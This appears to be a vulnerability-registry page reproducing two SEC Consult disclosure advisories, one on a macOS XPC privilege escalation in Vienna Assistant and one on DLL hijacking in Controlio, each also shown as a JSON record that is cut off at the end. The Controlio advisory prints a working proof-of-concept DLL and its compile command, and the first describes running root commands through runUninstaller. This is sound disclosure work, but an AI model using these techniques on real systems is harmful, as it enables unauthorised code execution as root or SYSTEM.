- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
581 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0248
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
SEC Consult SA-20260326-0 :: Local Privilege Escalation in Vienna Assistant (MacOS) - Vienna Symphonic Library
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260326-0 >
=======================================================================
title: Local Privilege Escalation
product: Vienna Assistant (MacOS) - Vienna Symphonic Library
vulnerable version: 1.2.542
fixed version: -
CVE number: CVE-2026-24068
impact: high
homepage:https://www.vsl.co.at/
found: 2026-01-10
by: Florian Haselsteiner (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"We make products, tools and services that enable all creators and musicians
to express their deepest emotions through technology, designed to augment
their passion for music and musicality.
Since all of us here at Vienna Symphonic Library are educated musicians,
simply passionate about music, or both, we know that every piece of work –
a song for a birthday party, a commercial jingle or a new film score –
requires your full attention and energy. That’s why we design our products
and services to alleviate the burden of unwanted tasks so that you can
concentrate on what you enjoy most and get the job done."
Source:https://www.vsl.co.at/company/vision
Business recommendation:
------------------------
The vendor was unresponsive and did not respond to any of our communication
attempts. Therefore, a patch is not available. In case you are using this
product, please approach the vendor and demand a fix.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Missing XPC Client & NSXPC endpoint validation leads to privilege escalation (CVE-2026-24068)
The VSL privileged helper does utilize NSXPC for IPC. The implementation of
the "shouldAcceptNewConnection" function, which is used by the NSXPC framework
to validate if a client should be allowed to connect to the XPC listener,
does not validate clients at all.
-----------------------------------
1000060b0 bool -[HelperTool listener:shouldAcceptNewConnection:](struct HelperTool* self, SEL sel, id listener, id
shouldAcceptNewConnection)
1000060b0 {
1000060b0 _NSLog(@"New Listener");
1000060fc [shouldAcceptNewConnection setExportedInterface:[clsRef_NSXPCInterface
1000060fc interfaceWithProtocol:protoRef_HelperToolProtocol]];
100006110 [shouldAcceptNewConnection setExportedObject:self];
100006120 [shouldAcceptNewConnection resume];
100006130 return 1;
1000060b0 }
-----------------------------------
This means that any process can connect to this service using the configured
protocol. A malicious process is able to call all the functions defined in
the corresponding HelperToolProtocol.
No validation is performed in the functions "writeReceiptFile" and "runUninstaller"
of the HelperToolProtocol. This allows an attacker to write files to any
location with any data as well as execute any file with any arguments.
Any process can call these functions because of the missing XPC client validation
described before. The abuse of the missing endpoint validation leads to privilege
escalation.
Proof of concept:
-----------------
1) Missing XPC Client & NSXPC endpoint validation leads to privilege escalation (CVE-2026-24068)
To exploit the missing XPC client validation an attacker only has to define the
same Objective C protocol and start a connection to the privileged helper XPC
service. The attacker can then use any function available in the defined
protocol. The HelperToolProtocol has the functions writeReceiptFile and
runUninstaller defined, which both do not perform validation of their arguments.
The function runUninstaller can be exploited to execute bash commands as root.
The following Objective C code implements the exploit:
-----------------------------------
[ PoC exploit code removed ]
-----------------------------------
The proof of concept code can be compiled using the following command:
-----------------------------------
clang -o exploit -framework Foundation ./exploit.mm
-----------------------------------
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 1.2.542
Vendor contact timeline:
------------------------
2026-01-21: Contacting vendor throughsupport () vsl co at; no response.
2026-02-03: Contacting vendor again throughsupport () vsl co at; no response.
2026-02-24: Vendor Website (https://www.vsl.co.at/) down.
2026-02-25: Contacted vendor throughsupport () vsl co at andoffice () vsl co at;
no response
2026-03-24: Contacting vendor again, informing them about public release on
26th March.
2026-03-26: Public release of advisory.
Solution:
---------
The vendor was unresponsive and did not respond to any of our communication
attempts. Therefore, a patch is not available. In case you are using this
product, please approach the vendor and demand a fix.
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Florian Haselsteiner / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | SEC Consult SA-20260326-0 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0248 (this record)
- related CVE-2026-24068
{
"containers": {
"cna": {
"affected": [
{
"product": "SEC Consult SA-20260326-0",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260326-0 \u003e\n=======================================================================\n title: Local Privilege Escalation\n product: Vienna Assistant (MacOS) - Vienna Symphonic Library\n\u00a0vulnerable version: 1.2.542\n fixed version: -\n CVE number: CVE-2026-24068\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n homepage:https://www.vsl.co.at/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-10\n by: Florian Haselsteiner (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We make products, tools and services that enable all creators and musicians\nto express their deepest emotions through technology, designed to augment\ntheir passion for music and musicality.\n\nSince all of us here at Vienna Symphonic Library are educated musicians,\nsimply passionate about music, or both, we know that every piece of work \u2013\na song for a birthday party, a commercial jingle or a new film score \u2013\nrequires your full attention and energy. That\u2019s why we design our products\nand services to alleviate the burden of unwanted tasks so that you can\nconcentrate on what you enjoy most and get the job done.\"\n\nSource:https://www.vsl.co.at/company/vision\n\n\nBusiness recommendation:\n------------------------\nThe vendor was unresponsive and did not respond to any of our communication\nattempts. Therefore, a patch is not available. In case you are using this\nproduct, please approach the vendor and demand a fix.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Missing XPC Client \u0026 NSXPC endpoint validation leads to privilege escalation (CVE-2026-24068)\nThe VSL privileged helper does utilize NSXPC for IPC. The implementation of\nthe \"shouldAcceptNewConnection\" function, which is used by the NSXPC framework\nto validate if a client should be allowed to connect to the XPC listener,\ndoes not validate clients at all.\n\n-----------------------------------\n1000060b0 bool -[HelperTool listener:shouldAcceptNewConnection:](struct HelperTool* self, SEL sel, id listener, id \nshouldAcceptNewConnection)\n1000060b0 {\n1000060b0 _NSLog(@\"New Listener\");\n1000060fc [shouldAcceptNewConnection setExportedInterface:[clsRef_NSXPCInterface\n1000060fc interfaceWithProtocol:protoRef_HelperToolProtocol]];\n100006110 [shouldAcceptNewConnection setExportedObject:self];\n100006120 [shouldAcceptNewConnection resume];\n100006130 return 1;\n1000060b0 }\n-----------------------------------\nThis means that any process can connect to this service using the configured\nprotocol. A malicious process is able to call all the functions defined in\nthe corresponding HelperToolProtocol.\n\n\nNo validation is performed in the functions \"writeReceiptFile\" and \"runUninstaller\"\nof the HelperToolProtocol. This allows an attacker to write files to any\nlocation with any data as well as execute any file with any arguments.\nAny process can call these functions because of the missing XPC client validation\ndescribed before. The abuse of the missing endpoint validation leads to privilege\nescalation.\n\n\nProof of concept:\n-----------------\n1) Missing XPC Client \u0026 NSXPC endpoint validation leads to privilege escalation (CVE-2026-24068)\nTo exploit the missing XPC client validation an attacker only has to define the\nsame Objective C protocol and start a connection to the privileged helper XPC\nservice. The attacker can then use any function available in the defined\nprotocol. The HelperToolProtocol has the functions writeReceiptFile and\nrunUninstaller defined, which both do not perform validation of their arguments.\nThe function runUninstaller can be exploited to execute bash commands as root.\nThe following Objective C code implements the exploit:\n\n-----------------------------------\n[ PoC exploit code removed ]\n-----------------------------------\n\nThe proof of concept code can be compiled using the following command:\n-----------------------------------\nclang -o exploit -framework Foundation ./exploit.mm\n-----------------------------------\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 1.2.542\n\n\nVendor contact timeline:\n------------------------\n2026-01-21: Contacting vendor throughsupport () vsl co at; no response.\n2026-02-03: Contacting vendor again throughsupport () vsl co at; no response.\n2026-02-24: Vendor Website (https://www.vsl.co.at/) down.\n2026-02-25: Contacted vendor throughsupport () vsl co at andoffice () vsl co at;\n no response\n2026-03-24: Contacting vendor again, informing them about public release on\n 26th March.\n2026-03-26: Public release of advisory.\n\n\nSolution:\n---------\nThe vendor was unresponsive and did not respond to any of our communication\nattempts. Therefore, a patch is not available. In case you are using this\nproduct, please approach the vendor and demand a fix.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Florian Haselsteiner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T08:13:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/3"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Apr/3"
},
{
"url": "https://blog.sec-consult.com"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://sec-consult.com/career/"
},
{
"url": "https://sec-consult.com/contact/"
},
{
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.sec-consult.com"
},
{
"url": "https://www.vsl.co.at/"
},
{
"url": "https://www.vsl.co.at/company/vision"
},
{
"url": "https://x.com/sec_consult"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Apr/3"
],
"discovery": "EXTERNAL"
},
"title": "SEC Consult SA-20260326-0 :: Local Privilege Escalation in Vienna Assistant (MacOS) - Vienna Symphonic Library",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-24068",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0248",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/3",
"automated": true,
"contentSha256": "be9f0a81affc47398ee86a898c2cf4022a34dba7aab7b839ad4bff3d4566cffb",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/3",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-03-26T10:39:40Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0248"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:42Z",
"dateUpdated": "2026-09-08T08:13:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0248"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0246
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
SEC Consult SA-20260423-0 :: DLL Hijacking in EfficientLab Controlio (cloud-based employee monitoring service)
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260423-0 >
=======================================================================
title: DLL Hijacking
product: EfficientLab Controlio (cloud-based employee monitoring service)
vulnerable version: <1.3.95
fixed version: 1.3.95
CVE number: CVE-2025-10549
impact: High
homepage:https://controlio.net
found: 2025-05-20
by: Tobias Niemann (Office Bochum)
Daniel Hirschberger
Thorger Jansen (Office Bochum)
Marius Renner (Office Berlin)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Controlio is a web-based cloud system for employee surveillance on their work PCs that
run Windows or MAC. You can easily monitor web and application usage, and watch what’s
happening on your staff screens live or on-demand. Check what they type, search on the
Web, what files they copy and much more.
The client app runs in stealth mode on a work computer, so your employees won’t see
additional icons or processes. The system is free to try on three computers."
Source:https://controlio.net/what_is_controlio.html
Business recommendation:
------------------------
The vendor provides a patch v1.3.95 which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve potential
further security issues.
Vulnerability overview/description:
-----------------------------------
1) DLL Hijacking Vulnerability (CVE-2025-10549)
A local attacker can exploit weak folder permissions in the Controlio
installation directory to perform DLL hijacking attacks. As the service
is running as NT Authority\SYSTEM this allows a local attacker to execute
arbitrary code and commands as highly privileged user and bypass or disable
the monitoring solution.
Proof of concept:
-----------------
1) DLL Hijacking Vulnerability (CVE-2025-10549)
Controlio attempts to load multiple non-existing DLLs from the installation
directory at C:\ProgramData\{UUID}
<procmon.png>
The full list of DLLs that are searched for in the install directory
is listed below:
--------------------------------------------------------------------------------
version.dll
wtsapi32.dll
netapi32.dll
winhttp.dll
shfolder.dll
wsock32.dll
NETUTILS.dll
PowrProf.dll
dbghelp.dll
dbgcore.dll
WER.dll
iphlpapi.dll
Secur32.dll
SSPICLI.dll
WINSTA.dll
olepro32.dll
security.dll
FwpucInt.dll
IdnDL.dll
Wldp.dll
profapi.dll
--------------------------------------------------------------------------------
While a local attacker cannot overwrite the service binaries themselves, the
default permissions allow an attacker to create new files in the installation
directory:
<service_permissions.png>
<install_dir_permissions.png>
An attacker can use this to drop DLLs that execute arbitrary code when they
are loaded when the Controlio service is started. For this proof of concept
the following WER.dll is dropped:
--------------------------------------------------------------------------------
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("whoami > C:\\dll_hijack.txt");
ExitProcess(0);
}
return TRUE;
}
x86_64-w64-mingw32-gcc windows_dll.c -shared -o WER.dll
--------------------------------------------------------------------------------
When the service is restarted, the DLL is loaded and the command is executed as
NT Authority\SYSTEM:
<executed.png>
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* Controlio v1.3.0.60
The vendor provides a patched version v1.3.95, it is assumed that all previous
versions are affected.
Vendor contact timeline:
------------------------
2025-07-09: Initial mail to the vendor (info () controlio net); no response
2025-08-22: Sent reminder mail; no response.
2025-09-16: Submitting support ticket viahttps://kb.controlio.net/hc/en-us/requests/new
Vendor assigns ticket #14957, support agent forwards request to relevant
department.
EfficientLab answers that there is a bug bounty page to submit security
advisories athttps://controlio.net/bug-bounty.html
2025-09-17: Submitting advisory.
2025-10-15: Vendor responds that although out of scope (client agent), they grant
a 250 USD bug bounty and have accepted it as medium priority.
2025-10-16: Asking the vendor to donate the money to EFF to foster secure software
development, as well as asking for timeline regarding the fix.
2025-10-16: Vendor will publish an update within the next 4 weeks, donation request
has been forwarded to relevant team for processing.
2025-10-17: Confirming the postponement of the advisory release.
2025-11-03: Asking for a status update, sending vendor reserved CVE number.
2025-11-04: Vendor responds that the fix is in the roadmap, but there is no clear
timeline yet, they are hoping to fix it before end of the year.
Bounty was donated to EFF with transaction ID 9MX93585JU286433M.
2025-11-05: Asking whether they need support or further information regarding the issue
and what changed regarding the timeline because the vendor provided a
timeline of 4 weeks mid October.
2025-11-05: Vendor responds that due to internal overload, timeline has shifted.
No support needed.
2026-02-09: Contacting vendor again, asking for patch status and setting advisory
release date to 25th February.
2026-02-23: Vendor responds that fix is implemented in the client, but the final build
is on hold due to driver issues.
2026-02-25: Asking about the new release timeline.
2026-02-26: Fixed version should be released within two weeks.
2026-03-26: Asking for a status update, no response.
2026-04-14: Asking for a status update again. Vendor support contact has requested
another updated from their developers.
2026-04-21: Vendor informs us that v1.3.95 has been released on 15th April.
2026-04-23: Coordinated release of advisory.
Solution:
---------
The vendor provides a patch v1.3.95 which should be installed immediately.
For further details see their changelog knowledgebase:
https://kb.controlio.net/hc/en-us/articles/45777908471185-Client-Update-April-15-2026-ver-1-3-95
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Tobias Niemann, Daniel Hirschberger, Thorger Jansen, Marius Renner / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
15 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | SEC Consult SA-20260423-0 |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0246 (this record)
- related CVE-2025-10549
{
"containers": {
"cna": {
"affected": [
{
"product": "SEC Consult SA-20260423-0",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260423-0 \u003e\n=======================================================================\n title: DLL Hijacking\n product: EfficientLab Controlio (cloud-based employee monitoring service)\nvulnerable version: \u003c1.3.95\n\u00a0 \u00a0 \u00a0fixed version: 1.3.95\n\u00a0 \u00a0 \u00a0 \u00a0 CVE number: CVE-2025-10549\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 impact: High\n homepage:https://controlio.net\n found: 2025-05-20\n by: Tobias Niemann (Office Bochum)\n Daniel Hirschberger\n Thorger Jansen (Office Bochum)\n Marius Renner (Office Berlin)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Controlio is a web-based cloud system for employee surveillance on their work PCs that\nrun Windows or MAC. You can easily monitor web and application usage, and watch what\u2019s\nhappening on your staff screens live or on-demand. Check what they type, search on the\nWeb, what files they copy and much more.\nThe client app runs in stealth mode on a work computer, so your employees won\u2019t see\nadditional icons or processes. The system is free to try on three computers.\"\n\nSource:https://controlio.net/what_is_controlio.html\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch v1.3.95 which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) DLL Hijacking Vulnerability (CVE-2025-10549)\nA local attacker can exploit weak folder permissions in the Controlio\ninstallation directory to perform DLL hijacking attacks. As the service\nis running as NT Authority\\SYSTEM this allows a local attacker to execute\narbitrary code and commands as highly privileged user and bypass or disable\nthe monitoring solution.\n\n\nProof of concept:\n-----------------\n1) DLL Hijacking Vulnerability (CVE-2025-10549)\nControlio attempts to load multiple non-existing DLLs from the installation\ndirectory at C:\\ProgramData\\{UUID}\n\n\u003cprocmon.png\u003e\n\nThe full list of DLLs that are searched for in the install directory\nis listed below:\n--------------------------------------------------------------------------------\nversion.dll\nwtsapi32.dll\nnetapi32.dll\nwinhttp.dll\nshfolder.dll\nwsock32.dll\nNETUTILS.dll\nPowrProf.dll\ndbghelp.dll\ndbgcore.dll\nWER.dll\niphlpapi.dll\nSecur32.dll\nSSPICLI.dll\nWINSTA.dll\nolepro32.dll\nsecurity.dll\nFwpucInt.dll\nIdnDL.dll\nWldp.dll\nprofapi.dll\n--------------------------------------------------------------------------------\n\nWhile a local attacker cannot overwrite the service binaries themselves, the\ndefault permissions allow an attacker to create new files in the installation\ndirectory:\n\n\u003cservice_permissions.png\u003e\n\u003cinstall_dir_permissions.png\u003e\n\nAn attacker can use this to drop DLLs that execute arbitrary code when they\nare loaded when the Controlio service is started. For this proof of concept\nthe following WER.dll is dropped:\n\n--------------------------------------------------------------------------------\n#include \u003cwindows.h\u003e\nBOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){\n if (dwReason == DLL_PROCESS_ATTACH){\n system(\"whoami \u003e C:\\\\dll_hijack.txt\");\n ExitProcess(0);\n }\n return TRUE;\n}\n\nx86_64-w64-mingw32-gcc windows_dll.c -shared -o WER.dll\n--------------------------------------------------------------------------------\n\nWhen the service is restarted, the DLL is loaded and the command is executed as\nNT Authority\\SYSTEM:\n\n\u003cexecuted.png\u003e\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* Controlio v1.3.0.60\n\nThe vendor provides a patched version v1.3.95, it is assumed that all previous\nversions are affected.\n\nVendor contact timeline:\n------------------------\n2025-07-09: Initial mail to the vendor (info () controlio net); no response\n2025-08-22: Sent reminder mail; no response.\n2025-09-16: Submitting support ticket viahttps://kb.controlio.net/hc/en-us/requests/new\n Vendor assigns ticket #14957, support agent forwards request to relevant\n department.\n EfficientLab answers that there is a bug bounty page to submit security\n advisories athttps://controlio.net/bug-bounty.html\n2025-09-17: Submitting advisory.\n2025-10-15: Vendor responds that although out of scope (client agent), they grant\n a 250 USD bug bounty and have accepted it as medium priority.\n2025-10-16: Asking the vendor to donate the money to EFF to foster secure software\n development, as well as asking for timeline regarding the fix.\n2025-10-16: Vendor will publish an update within the next 4 weeks, donation request\n has been forwarded to relevant team for processing.\n2025-10-17: Confirming the postponement of the advisory release.\n2025-11-03: Asking for a status update, sending vendor reserved CVE number.\n2025-11-04: Vendor responds that the fix is in the roadmap, but there is no clear\n timeline yet, they are hoping to fix it before end of the year.\n Bounty was donated to EFF with transaction ID 9MX93585JU286433M.\n2025-11-05: Asking whether they need support or further information regarding the issue\n and what changed regarding the timeline because the vendor provided a\n timeline of 4 weeks mid October.\n2025-11-05: Vendor responds that due to internal overload, timeline has shifted.\n No support needed.\n2026-02-09: Contacting vendor again, asking for patch status and setting advisory\n release date to 25th February.\n2026-02-23: Vendor responds that fix is implemented in the client, but the final build\n is on hold due to driver issues.\n2026-02-25: Asking about the new release timeline.\n2026-02-26: Fixed version should be released within two weeks.\n2026-03-26: Asking for a status update, no response.\n2026-04-14: Asking for a status update again. Vendor support contact has requested\n another updated from their developers.\n2026-04-21: Vendor informs us that v1.3.95 has been released on 15th April.\n2026-04-23: Coordinated release of advisory.\n\n\nSolution:\n---------\nThe vendor provides a patch v1.3.95 which should be installed immediately.\n\nFor further details see their changelog knowledgebase:\nhttps://kb.controlio.net/hc/en-us/articles/45777908471185-Client-Update-April-15-2026-ver-1-3-95\n\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Tobias Niemann, Daniel Hirschberger, Thorger Jansen, Marius Renner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T08:13:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/19"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Apr/19"
},
{
"url": "https://blog.sec-consult.com"
},
{
"url": "https://controlio.net"
},
{
"url": "https://controlio.net/bug-bounty.html"
},
{
"url": "https://controlio.net/what_is_controlio.html"
},
{
"url": "https://kb.controlio.net/hc/en-us/articles/45777908471185-Client-Update-April-15-2026-ver-1-3-95"
},
{
"url": "https://kb.controlio.net/hc/en-us/requests/new"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://sec-consult.com/career/"
},
{
"url": "https://sec-consult.com/contact/"
},
{
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.sec-consult.com"
},
{
"url": "https://x.com/sec_consult"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Apr/19"
],
"discovery": "EXTERNAL"
},
"title": "SEC Consult SA-20260423-0 :: DLL Hijacking in EfficientLab Controlio (cloud-based employee monitoring service)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2025-10549",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0246",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/19",
"automated": true,
"contentSha256": "3f6ac098f2a33f5a28e08303416a0fb7f9d6c5d4be5781a1c440e472f6281073",
"evidenceScore": 7,
"messageId": "",
